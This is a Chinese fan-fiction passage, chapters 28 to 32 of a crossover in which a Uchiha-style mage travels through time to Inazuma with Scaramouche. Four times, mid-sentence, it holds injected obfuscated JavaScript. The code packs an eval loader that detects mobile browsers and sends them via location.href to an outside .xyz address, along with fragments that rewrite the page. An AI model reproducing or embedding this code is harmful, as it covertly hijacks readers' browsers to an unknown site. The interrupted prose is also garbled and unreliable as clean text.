“可能也不是识趣吧……”夏目笑了笑,从衣领里取出了一个护身符模样的挂坠。“是因为美狄亚小姐给了我这个,所以整个庆典中的大家都没有发现我是人类,猫咪老师他们也不用特意关注和保护我……魔法还真是神奇呢,学长。” ——被他拿在手里的护身符,是一个魔术礼装。 作为魔术师施展魔术时的辅助型道具,魔术礼装基本分为两种:一种是魔术师使用魔术时补助魔力的东西,一种是礼装本身预先设定好了用途,使用的时候就会发挥出那个效果。这个礼装毫无疑问是后者。 见到它,一树微微瞪圆了眼睛,想要说点什么,却又说不出来。 对于科尔基斯的公主、魔术女神赫卡忒之徒、神代的魔女来说,制造这样一个功能简单的魔术礼装,自然是轻而易举的事,但作为厌恶人类的、背叛的魔女,她居然会为才认识不久的御主操心,担心他在妖怪的集会中遇到危险,亦或是被人为难,所以特意为他制作了掩盖气息的魔术礼装,这简直就是……! “……美狄亚居然这么快就移情别恋了吗?不会又是丘比特的金箭作祟吧?” 夏目和伊阿宋根本是两个完全不同的类型啊!……而且他还是未成年吧! “诶?” “咳咳,没什么。我是想说,Caster也在这里,和你们在一起吧,那她玩得高兴吗?” 一树装模作样的咳嗽了两声。夏目也没有多计较,只是笑着说道:“庆典刚开始的时候,美狄亚小姐既不和大家说话,也不和我们坐在一起,只是一个人坐在角落里喝酒,我觉得她……” 魔女独自坐在石头上,远离了灯光和喧嚣,深色的长袍与夜色融为一体,神情完全隐藏在了落下的兜帽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916532|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 非常的、非常的寂寞。 “所以,我邀请她和我们一起去吃点心,她一开始不答应,后面又同意了,我们从庆典这一头走到另一头,她虽然还是没说什么话,但我觉得,她比之前高兴了一些。”年轻人这样诚挚的说道。“庆典果然就是能让人放松心情呢。” “……” 一树很想问他,你是不是从没看过希腊神话,也不知道美狄亚做过的事啊。 但话到嘴边,他又自己咽了下去。当然啦,希腊神话又不是什么必修课本,这个世上甚至还有没看过安徒生童话的孩子呢,夏目不知道也没什么大不了的。更何况,知道自己的从者是个会杀人并且肢解尸体的魔女,难道是什么好事吗?美狄亚愿意给他魔术礼装,至少说明他们还算合得来,这已经是很好的开始了。 啊,说起来,她的确在和丈夫决裂以后,杀死了自己的两个孩子,并且在伊阿宋讨要尸体的时候拒绝给予……夏目在她眼里,和孩子也没什么两样吧,完全不涉及渣男的元素,会不会是因为这个原因,才让他们能够如此平和的相处呢? 总而言之,一树权衡再三,最终决定不去干涉两个人之间的相处,至少在美狄亚没有露出恶意之前,还是让夏目自己做决定的好。 “那真是太好了。”他最终只是温柔的说道。“牛鬼大人向我保证,会及时送你回家的哦,所以等会儿别管那边那两只醉鬼,想回去的时候,就直接呼唤牛鬼大人吧。” “谢谢。”夏目望着他,关切的说道:“你也快回家吧。总觉得,学长你看起来很累呢。” 被他这么说了,那还有什么累不累的,夏目也未免太可爱了吧。一树捧着心口,心里泪流满面。 终于,漫长而混乱的一天走到了尽头。一树回到修一家里,简单吃了点东西,原本他是想问问族兄远坂和间桐两个御主的情况,谁知道修一却并没有回家,管家告诉他,对方打电话回来,说晚上有个酒局,今晚可能都不能回家了。 “修一哥真的好忙啊……”一树听完以后,就立刻放弃了等待,去浴室洗了澡换了睡衣,舒舒服服的躺在了床上。他把玩着枕边从者微凉的手指,有些迷迷糊糊的说道:“希望他今天没有遇到麻烦……如果有的话,希望他能老实告诉我……那我就可以要求里包恩去帮我解决间桐家了,反正他能听得懂虫子说话……” “老师是拿给你这么用的吗?” “那当然啦,满足学生任性的愿望也是老师的职责啊……他可是最强的杀手,万能的Reborn……”一树在半梦半醒间勾起微笑,松开了他的手,转眼便沉入了甜美的梦乡。 人偶长久的注视着他,重新握住了他的手。此前有一段时间,他也是像现在这样坐在一树的床边,握着他的手腕,整夜整夜的凝视他,只有人类平稳的脉搏能让他感觉安心。 那时候的月光落在他雪白的长发上,仿佛要把他整个人融化进月光里。想到这里,他不由抚摸了一把一树柔软的黑发。 “啧,我还曾经是神呢。”他嘀咕道。“怎么不对我更任性一点呢。” 29.第二十九章 一树睁开眼睛,发现自己站在一片漆黑的土地上。 天空和大地都被浓郁的、粘稠的黑暗笼罩,那些黑暗仿佛有生命一般,一寸寸吞噬着还未被污染的土地。草木凋零,天火焚世,他听到急促的喘息自耳畔响起,扭头一看,正对上一群野兽透着凶光的眼睛。 “什……!” 来不及多想,一树的眼睛瞬间转变为淡紫色的轮回眼,随后,巨大的斥力从他身上爆发开来,将张开獠牙朝他扑开来的诸多野兽全部弹开! ——神罗天征! 遭受重创的野兽立刻因为魔力的冲击而死去,但还有一些长相更奇怪、浑身散发着古怪黑气的魔兽没有因此丧命,而是很快便嘶吼着再次扑了上来,一树将手一合,数不清的树木登时拔地而起,参天巨树们伸展枝叶,长出藤蔓,好似有生命一般在半空中舞动着,轻而易举的困住了满地的魔兽。 “这些都是什么东西啊!”魔术师止不住的抱怨道。“讨厌,真讨厌,我最讨厌掉到这种莫名其妙就要打架的时空了!” “……你这个罪魁祸首,还真是大言不惭啊!” 他听到了散兵咬牙切齿的声音,转过头去,正看到飞起来的人偶一脚踢飞了一只似狼非狼的魔兽。他怒气冲天,望向一树的目光满是怨恨,就好像一树对他做了什么可恨的事情一般。 一树想了想,回想起穿越以前,他刚刚被草神取走了雷之心,随后从巨大的机甲上坠落下来,那个时候,自己不知道为什么,突然回想起和海芭夏一起误食毒蘑菇的那一夜,梦到的,这位人造新神遭遇“三度背叛”的过往…… 等他反应过来的时候,身体已经自己动起来,朝对方伸出了手……至于为什么接到人之后,会带着人一起穿越,哎,他当然也不想的啊!这种事情,从来都由不得他嘛。 “但是不管怎么想,我都做了件好事吧!”顶着堕神怨恨的目光,一树不高兴的抱起了肩。“难道你更想那样掉到地上,砸得骨头碎掉吗?” “我不需要你的怜悯!”散兵大喊道,甩出一个雷球,将从背后袭来的魔兽化为灰烬。也亏得此地层出不穷的魔兽,将他的怨气完全吸引了过去,等到一切终于平静下来的时候,他也没有对一树继续发火的力气了。 “看来,我们穿越到提瓦特的其他时间点了。”一树却已经自动忽略了刚才发生的事,像只小鸟一样在他耳边叽叽喳喳的叫嚷。“喂,你才是提瓦特大陆的人,能判断这里的时间吗?这里还是须弥吗?但看环境不太像的样子……” “哼,以为你还能在这里见到旅行者和草神吗?真是天真……”散兵冷哼一声。其实,在穿越到这里的那一刻,他就认出了这个地方。再也不会有比这更让他刻骨铭心的地方了,那些海水,礁石,树木,飞鸟…… 这里是稻妻。 这里当然只能是稻妻。 有那么一瞬间,散兵的眼睛里浮起一片迷茫的神色。他不明白为什么在自己又一次失去了心以后,又回到了这个令他憎恨的地方,这是命运在嘲笑他的无能吗?接下来他又该怎么做?返回愚人众?但造神计划失败,他又失去价值了…… 哈,哈哈……无能之辈……无用之人! 为什么,为什么这个人要把他带走!还不如让他做草神的囚徒,让小吉祥草王来决定他的下场…… “将军!”一声突如其来的呼唤,打断了散兵的思绪,两个人循声看去,就见一个穿着破破烂烂的铠甲、浑身是伤的武士站在道路尽头,用长刀支撑着自己的身体,满是欣喜的朝他们,准确来说是朝散兵看过来。 然而,那点欣喜宛如昙花一现一般,很快便从他脸上消退了:他已经看清了,站在这里的,并不是御建鸣神主尊大御所本尊,而只是一个和她长得很像的少年罢了。明白这一点,武士先是黯然,随后,想要保护民众的心情骤然浮上心头,他换了副严肃的口吻,朝着两个少年说道:“这里很危险,随时都会有野兽出现,你们还是快回家去吧。” “我们是来帮忙的!”见有原住民登场,一树立刻兴奋起来,迫不及待的上前和人搭话。他听到了对方刚才的呼唤,虽然并不明白其中的缘由,但立刻意识到,在这个地方,有个大人物和散兵长得十分相似,正好可以利用来解释他们的身份。 “他和将军很像吧,其实,他就是将军的使者哦!”他指了指自己背后一脸复杂的散兵。“将军现在走不开,所以派我们回来帮忙呢,我先帮你治疗一下伤口吧!” 于是,尽管他给出的理由并不那么令人信服(毕竟从没听说将军麾下还有什么使者),但在木遁神乎其神的治愈之下,在这么久以来,终于能摆脱伤口的痛苦的武士还是激动的决定带着他们去面见自己的上司。毕竟,城镇里还有很多很多伤得很重,甚至性命危在旦夕的同僚,他迫不及待的希望有人能够治疗他们,为此冒一点风险也是值得的。 然而,当他们启程准备出发的时候,散兵仍然站在原地一动不动。见此情形,一树有些不高兴的叫了他的名字,催促他赶紧跟上,后者抬眼看向他,嘴角骤然勾起一抹讽刺的冷笑。 “你不会以为我和你是一伙的吧,头脑简单的家伙。”他摊开手。“现在不是你和小吉祥草王一起围攻我的时候了?” “喂!”才刚找到一点融入这个世界的方向,他就这么不配合的捣乱,让一树很不高兴。他迅速切出写轮眼,用幻术将武士定在了原地,随后怒气冲冲的朝着散兵走了过去。 “虽然,这样做不太好,我其实也已经很久没有这样做过了,但想也知道,你现在不是三言两语能够说服的,所以……” “哦,所以呢,你要怎么做,终于要像胜利者对待失败者那样,用刀贯穿我,逼迫我跟你一起行动吗?”散兵望着他带着怒意的猩红的眼睛,心里暗暗想到:不错,这才是我最熟悉的相处方式—— “我真不明白,为什么你一直在期待别人残忍的对待你呢?一般人都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930604|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会这么想的。”一树诧异的反问道。“不过有件事,你大概不知道,所以我现在要好好教你。” “……什么?” “——别这么直直的盯着一个宇智波的眼睛看!” 然后,就在两双眼睛对视的那一刻,一树果断发动了瞳术。 他的万花筒写轮眼“白山权现”,为他带来了两个完全不同的瞳术:左眼名为“链接”,是在窥探对方记忆的同时,利用幻术为对方编织并不存在的记忆,注入情绪从而改变对方的意志,据说如果施术者的意志足够强大的话,就连一对血海深仇的死敌在经历链接以后,也会就此握手言和;右眼名为“祓除”,其能力则是破除幻术、结界和封印。 虽然这两个瞳术都并不具备攻击的功能,但随意影响别人的意识,自然也是一件非常失礼的事情,所以一树一般只用到窥探记忆那一步,就不再继续了。 不过,遇到特殊情况,也不是不能稍微使用一下…… 他迅速浏览了散兵的记忆。和之前碎片化又极为跳跃的梦境不同,这一次,人偶过去经历的种种事情,都如同纪录片一般清楚明了的展现在一树的眼前:他如何诞生,如何被创造者舍弃在华美却冰冷的借景之馆,如何被人捡到,被带到人类的城镇之中,被叫做倾奇者,结识了许许多多新的伙伴,逐渐由人偶变为了人类…… 随后,一切急转直下,踏鞴砂的大炉骤然失控,造兵司正丹羽久秀畏罪潜逃,倾奇者在机械师埃舍尔的指导下,带着一个装置独自关闭了大炉,为此不惜烧毁了自己的十指,然而在他顺利完成任务归来以后,埃舍尔却告知了他一个更残酷的事实:那个在大炉里保护了他的精巧装置,里面装着丹羽久秀送给他的礼物:一颗从无辜仆从身上取下的心。身为无心的人偶的倾奇者,一直渴望得到一颗心,却从未想过自己渴求之物,竟会以如此残酷的形式来到他的身边,他无法接受好友的背叛,悲痛欲绝的将心脏狠狠摔在地上,离开了踏鞴砂。 随后,他在稻妻海边的某处小屋捡到了一名孩童。年幼的男孩体弱多病,独自居住在漏风的旧屋里。他的父母都已因病去世,因此孤独一人,艰难的生活着,于是倾奇者留了下来,成为了他的朋友和家人:他们彼此约定,要在那间破旧的小屋里一起生活下去。 有那么一段时间,他的确得到了心灵的宁静,觉得自己重新找到了生命的价值。然而,孱弱的孩童被病魔夺走生命,仅仅只需要一夜,而一夜时间,根本只够倾奇者出门找些食物,取些别人不要的家具而已,当他带着食物和家具兴奋的回到家,推开门,看到的却是幼童蜷缩在地板上的尸体…… 他又一次被人遗弃、又一次被人背叛了。 那天夜里,海边燃起了熊熊火光。人偶舍弃了“倾奇者”这一名号,彻底离开了稻妻。后来,愚人众统括官“丑角”皮耶罗找到他,说服他为愚人众效力,于是在那之后,他又有了一个新的名号:愚人众十一执行官第六席,散兵。 30.第三十章 即使是从旁观者的角度来看,这个家伙未免也太过倒霉了吧。一树这样想到。 甚至在他去愚人众之后,也不是立刻就成为第六席的,而是经历了很多实验、很多任务……光是浏览他在深渊浴血奋战和在实验室被肆意切割的记忆,就让一树十分愤怒了。 他实在不想介入这部分残酷的记忆,因此最终选择反其道而行,直接把散兵拉进了自己的记忆里。 * 散兵站在一处宽敞明亮的客厅之中。 有那么一瞬间,他以为自己回到了昔日居住的借景之馆,身体不由一下子绷紧了,不过很快,这间丝毫没有稻妻特色,反而更近似于枫丹风格的屋子就让他放松了下来。阳光透过巨大的落地窗,洒在铺着柔软地毯的地板上,借着身边柜子上玻璃的反光,他发现自己身上穿着一件宽大的,缀满了猫咪图案的睡衣,头发凌乱,睡眼惺忪,看上去简直像是一个陌生人。 假的。 一切都是虚假的。 他不知道一树给他制造这么虚假的幻觉有什么用,或许是想让他放松警惕,然后给他迎面一击?可惜,他显然并不知道,自己早就见过真正的地狱…… 他听到一阵哒哒哒的脚步声从背后传来。会有一把刀从背后捅过来吗?散兵冷漠的想到,决定不管来的是谁,他都要给他一点教训,于是在那脚步声来到自己身前的时候,他猛地转过了身—— “哥哥!”有人叫着他。一个孩子扑过来,一把抱住了他的腰。他小小的手里没有刀,自然也没有其他任何危险的东西,因为他只是用手抓着散兵的衣服,仰起头朝他露出灿烂的微笑。 那是一树的脸。然而和现实不同的是,这里的他看起来才只有七八岁的模样,穿着一身精致的小礼服,打扮得像洋娃娃一样可爱。 “宝贝,你还没换衣服吗?”没等散兵做出反应,两个大人就手牵着手从旋转楼梯上走了下来。听到这个熟悉又陌生的声音,散兵的双眼猛地放空,在原地怔了好几秒,才猛地抬起头,朝着声音传来的方向看了过去。 八重神子正朝他走过来。她的脸上并不是散兵熟悉的那种散漫而轻佻的神情,而是一种他也无法形容的、满怀着关切和宠爱的目光。她伸出手臂,把两个孩子齐齐搂入怀中,低下头亲昵的拿自己的脸贴了贴散兵的侧脸:“是不是有哪里不舒服?不想去听歌剧的话,可以直接告诉我哦,圣诞节我们在家里过也很好。” “怎么了?昨天他不都还好好的吗?”闻言,刚才出声询问长子的雷电影先是一愣,随后急忙走过来,扳过散兵打量了几眼,有些笨拙的摸了摸他的额头。 散兵想要推开她的手;他明明是这样想的,但不知为何,却只是一动不动的站在原地。他想要出声嘲笑她,也想要出声嘲讽一树:你不会以为,这样就能骗过我,这样就能伤害到我吧?太天真了! 然而事实上,他一个字也没说,只是木然的任由这两个人拉着自己坐到沙发上,用毯子严严实实的把自己裹了起来。 雷神用一只手搂着他的肩膀,一只手轻轻拍着他的背。八重神子则为他端过来一杯古怪的绿色液体,或者是毒药之类的吧,他不在乎,毫不反抗的借着她的手喝了下去——然而那杯子里不知道放了多少糖,甜得他一阵反胃,差点直接吐出来。他闭上眼睛,努力尝试把那杯东西咽下去,蹲在他面前的八重神子却忽然伸手掐住他的脸颊,硬是把他闭合的嘴打开了。 “吐出来!”她严厉的说道,另一只手按着他的脖子往下压,丝毫不在意他嘴里吐出的肮脏的液体打湿了毯子和她身上的衣服。“宝贝,你怎么了?这个味道让你不舒服,就不要勉强自己,我再给你重新调一杯魔药就是了。” “他喝不下魔药的话,要不要叫医生过来给他看看?”雷电影把头轻轻靠在男孩的头上,侧着头忧心忡忡的询问神子。她的手一直放在散兵的身上,那感觉却全不冰冷,而是……竟然是温暖的。 “也许哥哥今天不想吃糖吧!”倒是幻觉的制造者一树有点汗颜,因为幻觉的基底是他自己的记忆,完全是下意识的把魔药设置成他喜欢的口味了。 他让神子再次端来一杯无色无味的魔药,这次散兵果然顺利喝了下去。两个大人没有再说外出的事,各自换了衣服,重新换了一条毯子裹住散兵,一整天都陪伴在两个孩子身边,陪着他们看电影,做游戏。直到夜幕降临,机器人管家点燃客厅的壁炉,端出热腾腾的美食,霎时间,整个屋子笼罩在炉火的温暖和苹果派浓郁的香气中,几乎要把人的骨头都沁酥。 一树披着一条白色的床单,宣称自己是一个圣诞幽灵,随后快乐的在客厅里跑来跑去。神子宠溺的放任了他,让管家把容易绊倒他的东西都拿到了一边,雷电影倒是板着脸训斥了他两句,不过在一树扑到她的膝盖上,拿水汪汪的蓝眼睛盯着她看了一会儿之后,她的态度立刻就软化了。 “好吧,好吧。”她无奈的说道。“小幽灵,要不要和哥哥一起拆礼物?” “要!”一树轻快的回答,又哒哒哒跑过来拉着散兵的手,硬是把他拖到了圣诞树下面。 圣诞树下堆满了大大小小的礼盒,那是当然的,因为他们家从来没有只送孩子一个礼物的习惯。他拉着人偶的手,走到最大的那个盒子面前,示意他拆掉盒子上的蝴蝶结:“铛铛铛!这个是给好孩子的礼物哦,我们一起来打开它吧!” “……你到底想要做什么?”散兵审视的望着他,只觉得自己如同身陷迷雾之中一般。他当然遭受过幻觉的攻击,不如说,在他过去带队探索深渊的时候,各式各样的幻觉已经看得快吐了,但从来没有这种,这种…… 一个虚假得可笑的,毫无意义的场景,因为它永远不可能出现在真实世界,永远不可能发生在自己身上。 ——但此时此刻,他空洞的胸腔里翻涌着的,又到底是什么东西呢?他连心都没有,居然也会产生这样的情感吗? “我想要给你一份礼物。”一树答非所问的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943235|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道,亮晶晶的眼睛定定的望着他。“因为每个人都拥有这个东西,所以我觉得,你也应该要得到。” “……我以为我们是敌人。”送给敌人的礼物,难道不是只有捅过来的利刃吗? “有谁规定敌人不能互相送礼物吗?敌人甚至还可以结婚呢!”一树奇怪的抬起头看向他。和他的眼睛对上的那一刻,散兵骇然发现,自己居然不知不觉认同了他自有一番逻辑的话……莫非这才是他那句“别这么直直的盯着一个宇智波的眼睛”的真意?! “总而言之,不管你愿不愿意,在返回原本的时空之前,我们都得结伴同行,我可不想整天和你吵架,所以你还是接受我的好意吧。”一树这样说道。不管对方的身份和立场为何,他会穿越到这个时空,单纯只是拜自己所赐,所以,他是一定会把人好好的送回去的。“毕竟在这里,你只有我一个同伴,我也只有你一个同伴,所以,就这样,稍微信任我一些吧。” 说着,他伸手解开蝴蝶结,猛地打开了礼物盒。 * 被解除幻术的武士当然完全没有发现面前发生了什么事。 因为幻术的作用,他甚至没有发现时间悄悄流逝了一点点,只知道那个酷似雷神的少年原本拒绝和他们同行,但当另一个人走上前去,握住他的手的时候,他的态度一下子软化了下来。 “可以走了哦!”那个漂亮的年轻人笑着对他说着,此后一直没有放开对方的手。被牵着的人虽然脸色难看,但总归也像只被拎住脖颈的猫一样,并没有挣脱。 看来他们是一对感情很好的朋友呢。武士这样想到。 他们沿途清理了所有的魔兽。回到人类聚居的城镇之后,一树也没有休息,立刻投入治疗伤员的工作之中,等到一切结束,已经是月上三更了。 他疲惫的从住满伤员的屋子里走出来,轻轻关上门,遮住了一屋子武士因为伤口痊愈而显得格外恬淡的睡颜,准备返回村民们给他安排的房间休息。然而,才刚走了两步,一声冷哼引起了他的注意,一树抬起头,就看到散兵曲着一条腿坐在高高的树干上,正单手托腮,居高临下的望着他。 “我累了。”察觉他面色不善,一树连忙说道。“有什么事能不能明天再说?” “不能。”后者想也不想,毫不犹豫的一口否决。他眯起眼睛,慢条斯理的说道:“不是你说,要我信任你一些吗?怎么,才过了半天时间,你就连自己的话都记不住了?” “……” “现在,上来。” 好吧。一树当然不能自己打自己的脸,所以他只能叹了口气,将魔力聚集在脚底,慢慢走上树干,在人造魔神身边坐了下来。 “我过来了。”他到底还是有些不高兴,因此别过头不去看散兵。“所以,你想要我做什么……?” 话音未落,散兵就把一个饭盒递到他手里,同时塞了双筷子给他:“吃饭。” 一树:“……” 一树:“?” 31.第三十一章 虽然不知道为什么,白天还一副看自己很不顺眼态度的人,晚上居然有闲情逸致给自己留饭,但谁能拒绝辛苦一天后的一口热饭呢?一树在短暂的怔愕之后,眼睛顿时变得湿润起来,吸着鼻子打开饭盒:“你一直在这里等我吗?天啦,你太好了!……额,味道好淡。” 他只吃了一口,就立刻从腰包里掏出一大瓶美乃滋,跟不要钱似的在饭菜上挤了很多很多,这才心满意足的拌着饭吃了起来。 散兵一直斜眼看着他的动作:“那是什么酱?” “蛋黄酱,要尝一口吗?”一树热情的把饭盒往他面前托了托,散兵伸出一根手指,稍稍粘了一点酱料放进嘴里——霎时间,黏腻的甜味冲击感十足的涌入口腔,把他恶心得够呛,侧过头呸了两口,瞬间明白幻觉里那杯甜得腻人的魔药是从何而来了。 “你的味觉有问题吧!这是人吃的东西吗?”他忍不住这样说道。虽然他也知道,一部分人类喜欢吃甜食,觉得甜食可以给他们带来幸福感,但甜味浓郁到这种地步,简直称得上是一种酷刑了。 “什么啊,我可是一个宇智波也,要知道,宇智波的血管里流淌的都不是血液,而是蜜糖呢!”一树理直气壮的说道,理所当然的无视了其实宇智波里也不乏咸党的事实,反正这里没有他家的长辈在,那他想说什么就说什么。 “哼,虽然你居然不能体会甜食的美妙,不过,看在今天你是个乖孩子的份上,给你一点奖励吧。”一树说着,把饭盒放在自己的膝盖上,空出左手抓住了散兵的手。 失败的神灵感觉到一股强大的魔力涌入自己的身体。那魔力虽然带着令他厌恶的草木复苏的气息,却轻而易举的缓解了他身上源源不断的阵痛,尤其是背上,那曾经与机甲链接,却又硬生生被他挣断的导管的创面…… 一树则是骤然加快了吃饭的速度——他是真的累了,要不是和散兵之间的关系还很塑料,他甚至想叫对方抱自己飞回去睡觉,免得他还要自己走回去。 “呵,对我这样引发动乱的人,你居然也能有如此天真的包容之心,如果让那位旅行者和小吉祥草王知道,你居然在为敌人疗伤,不知道他们会怎么想呢?”月光下,散兵凝视着他无忧无虑的侧脸,不乏嘲讽的说道。 “那我就告诉他们,是你无耻的勾引我,我才不小心中招的,那样他们顶多说我是恋爱脑,就不会过多责怪我了。”闻言,一树豪爽一笑,胸有成竹的给出了答案。 散兵:“……” 散兵:“?” 然而,第二天早上起床以后,一树开始觉得事情有点不对劲了。 先是散兵一脸若无其事的给他拿来了早饭,并且这次迎合了他的口味,在饭团里都加了巨量的糖,而在他暴风吸入早饭的时候,镇长来感谢了他昨晚的辛苦和他同伴的勤劳——据说天还没亮的时候,某个人偶就飞出城镇,把附近重新聚集过来的魔兽给清理了干净。 “你的早饭也是他特意为你做的呢。”镇长说着,一脸欣慰。“果然,你们真是一对很要好的朋友呢。” 一树的下巴差点没掉到桌子上。他瞪圆了眼睛,扭头看了一眼坐在窗台上的散兵:“你居然会做饭?!” “我不会做饭,你昨天吃的东西是哪来的?”散兵平静的反问道。 当然是提前让厨房留饭啊!一树理智的把这句话咽了下去,毕竟吃人嘴短嘛,得罪谁也不能得罪厨子。他心说虽然散兵现在穿着打扮比起以前完全换了个画风,但果然内心深处还保留着昔日倾奇者的一部分纯真呢……想想居然还有点小感动,不枉自己选择用瞳术赋予了他“信任”和“安全感”。 ……虽然但是,他对自己的态度是不是一下子变得过于亲近了? 然后,八重神子就找上了门。 说实话,比起一树在散兵的记忆里看到的那位聪慧狡黠、喜怒不形于色的沉稳巫女,此时的她身形尚显稚嫩,脸上也带着不加掩饰的审视之意。 这份审视当然不是针对一树的;打从她走进屋子开始,目光就一直死死的盯在散兵身上,那种复杂的目光……与其说她只是在看散兵本人,不如说她在从散兵的身上,看着另一个此时并不在此地的影子。 “他真的很像将军,对吧?”察觉到神子视线的真意,一树忍不住开口道。闻言,少女锐利的目光骤然转向他,答非所问的说道:“你们并非稻妻人,不知是从何而来,又打算在这里做什么呢?” “怎么,我们才帮了你们的忙,你就打算审问我们吗?看来,好心是毫无必要存在的东西啊。”散兵讥讽的说道。尽管心里清楚的知道,面前的小狐狸,并不是当年在鸣神大社接见他的八重宫司,但想起当年她最终食言的承诺,他还是忍不住生出满心的怨恨和委屈之意来。 “现在是非常时期,如你们所见,漆黑的灾厄,正在这片大地上蔓延,稻妻经不起更多的风霜了……更何况是像你们这样凭空出现的两个人,我会有所怀疑,也是理所应当的吧。”神子淡然回答,却也敏锐的察觉他的态度有些奇怪。 ——为什么,他竟像是孩子在抱怨父母一般不满呢? 再加上他那样的容貌……尽管很不合时宜,神子的脑子里还是忍不住浮现出了一些不敬神明的联想。 “没关系,这件事我们可以解释!”为了让散兵老实闭嘴,不要再说难听的话,一树一把挽住他的左手,威胁的捏了捏他的手指。散兵冷哼了一声,别过了头。一树则是继续说道:“其实,我们是从须弥过来的,不过,不是这个时空的须弥,而是五百年后的须弥。” “须弥……”闻言,神子有些怔仲。难道,是世界树出了什么问题,才引起了时空的波动?还是说,对方为了不让他们查证,故意说了这样一个无解的答案?毕竟,若是想要求证这个,那只能去须弥觐见大慈树王了。 “其实,我的能力,就来自于小……大慈树王啊!”一树面不改色的撒谎道,反正他的木遁独一无二,只是没有神之眼罢了,但这个也好搞定,回头他就用玻璃珠子给自己伪造一个。“至于他……其实,看着这张脸,你也应该明白他和雷神的关系吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948456|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他犹豫了一下,还是没有在八重神子面前直接指出散兵其实是神造的人偶的事实,虽然对方应该在见到他的那一刻就心知肚明了吧!但是因为人偶一直很在意自己是非人类的事,所以,一树并不想让他感觉难过。 “……我可以证明。”倒是散兵在沉默了片刻之后,忽然从怀里取出一根金羽,递到巫女面前。刹那间,一切仿佛回到了遥远的过去——为了拯救即将被怪病吞噬的踏鞴砂,倾奇者乘着一艘小舟,顶着漫天雷暴雨,历经艰险,终于来到天守阁前求见雷电将军,却屡次遭到拒绝,情急之下,他取出那枚金色羽毛示众,转而请求觐见鸣神大社的宫司八重神子,这一次,他的求恳终于得到了回应。 于是,就像他记忆里曾经发生过的那样,看到这枚金羽,八重神子的目光一下子变得温和起来。“斋宫大人要见你们。”她轻声同两个少年说道。“请即刻同我去鸣神大社吧。” 鸣神大社上方的天空同样被浓稠的黑暗笼罩,甚至因为这方神社的特殊性,而遭到了魔兽最严重的进攻。被八重神子领着登上鸣神大社的时候,一树注意到山上的樱花大半都已被黑暗吞噬,不由暗暗担心:连宫司镇守的神社都变成了这副模样,恐怕这位的宫司如今的状况,也不会太好。 事实也的确如他想的一样。八重神子领着他们进入神社之后,自己先进入内室觐见了狐斋宫,片刻之后,她打开门,告诉一树:“斋宫大人要单独见你。” “为什么不让我和他一起?”听她这么说,散兵顿时警觉起来。他下意识的抓住想要走过去的一树的手,把他拖回了自己身后,用身体挡住了他。“狐斋宫不会已经被灾厄污染了吧?她只是想见一树而已吗?” “住口!你怎么能这样侮辱斋宫大人!”神子立刻出声呵斥道。“斋宫大人这么做,自然有她的道理,这里可是鸣神大社,难道还会伤害到他吗?” “……你能向我保证,他会平安无事的回到我们身边吗?”散兵却仍有些不满的继续问道。 “我保证。”想也不想,神子立刻回答。毕竟,如果连狐斋宫都不值得她做出如此承诺的话,那世上也没有第二个人值得了。 她看出散兵戒备心极重,并不会轻易相信旁人单纯的话语,正思索着该如何进一步说服对方,就见对方犹豫着松开了手,让开了道路。 “……我相信你。”他深深凝望着巫女的眼眸,嘴角抽动,眼底翻腾着爱恨纠葛、极为复杂的情愫,似乎这份信任背后代表的软弱让他感觉极为厌恶,却他还是艰难的说了下去。“毕竟,我们是一家人……你总得保证,我们能顺利回到五百年后的你们身边去吧。” 八重神子:“……” 等等,她原本以为这孩子只是雷神制造来辅佐执政的工具,但对方的定位其实是神的孩子吗?! 而且,他说的是你们……不、不会是她想的那样吧? 世上……居然还会有这样的美梦吗? 一树:“???” 不是,事情真的很不对劲啊!!! 32.第三十二章 一树最后是被八重神子给硬塞进屋子的。 “你先去见了斋宫大人,然后……我们再来说五百年后的事!” 